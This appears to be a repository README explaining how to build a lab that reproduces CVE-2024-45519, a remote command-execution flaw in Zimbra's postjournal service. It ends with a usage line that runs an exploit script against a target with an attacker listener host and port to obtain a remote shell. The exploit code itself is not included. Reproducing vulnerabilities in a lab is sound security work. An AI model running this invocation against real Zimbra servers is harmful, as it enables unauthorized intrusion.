CVE-2024-45519 - Zimbra Postjournal Exploit Setup 🛠️

Description ⚠️

CVE-2024-45519 is a vulnerability in Zimbra Collaboration (ZCS) that allows unauthenticated users to execute commands through the postjournal service. This guide walks you through setting up a lab environment to reproduce the issue and execute the exploit.

Affected Versions 🐛

• Joule: version 8.8.15
• Kepler: version 9.0.0
• Daffodil: versions 10.0.x before 10.0.9
• Daffodil: version 10.1.0

Lab Setup 🖥️

1. Prepare the test environment
   Make sure you're running Ubuntu 20.04.6 LTS (Focal Fossa) on your lab machine.
   Example test environment: Ubuntu 20.04.6 LTS.

2. Download Zimbra
   Run the following commands to download and extract the Zimbra Collaboration package:

   sudo su
   wget https://files.zimbra.com/downloads/8.8.15_GA/zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz
   tar -xvzf zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz
   cd zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220

3. Configure hostname
   Set the hostname to zimbra.labo:

   hostnamectl set-hostname zimbra.labo

4. Install Zimbra
   Follow the installation guide here 👉 Zimbra Installation Guide.
   Do not use Zimbra's package repository when prompted. Select No for that option.

5. Replace the vulnerable postjournal binary
   Kill the running postjournal process and replace the binary with the vulnerable one:

   sudo pkill postjournal
   dpkg-deb -x packages/zimbra-core_8.8.15.GA.4177.UBUNTU20.64_amd64.deb /tmp/zimbra-core
   sudo cp /tmp/zimbra-core/opt/zimbra/libexec/postjournal /opt/zimbra/libexec/postjournal

6. Enable and restart Zimbra services
   Log in as the zimbra user and enable the postjournal service:

   sudo su - zimbra
   zmlocalconfig -e postjournal_enabled=true
   zmcontrol restart

Exploit Usage 🚀

Once the lab is set up and running, you can use the exploit to take advantage of the vulnerability.

Steps:

1. Prepare the exploit
   Ensure the exploit script (which we assume you've already prepared) targets the correct IP address and port.

2. Run the exploit
   Execute the exploit to target the vulnerable Zimbra instance. For example, using your script:

   python exploit.py <target> -lh <attacker-ip> -lp <attacker-port> -p <smtp-port>

3. Enjoy your shell
   Once the exploit successfully connects, you'll have command execution on the Zimbra server! 🎉

References 🔗

• Zimbra CVE-2024-45519 - Cyberveille eSante
• Zimbra Remote Code Execution Blog - ProjectDiscovery

Disclaimer ⚠️

This exploit and guide are for educational purposes only. Use this information responsibly and only on systems you have explicit permission to test. Unauthorized exploitation of systems is illegal and unethical. The authors and contributors are not responsible for any misuse or damage caused by this information.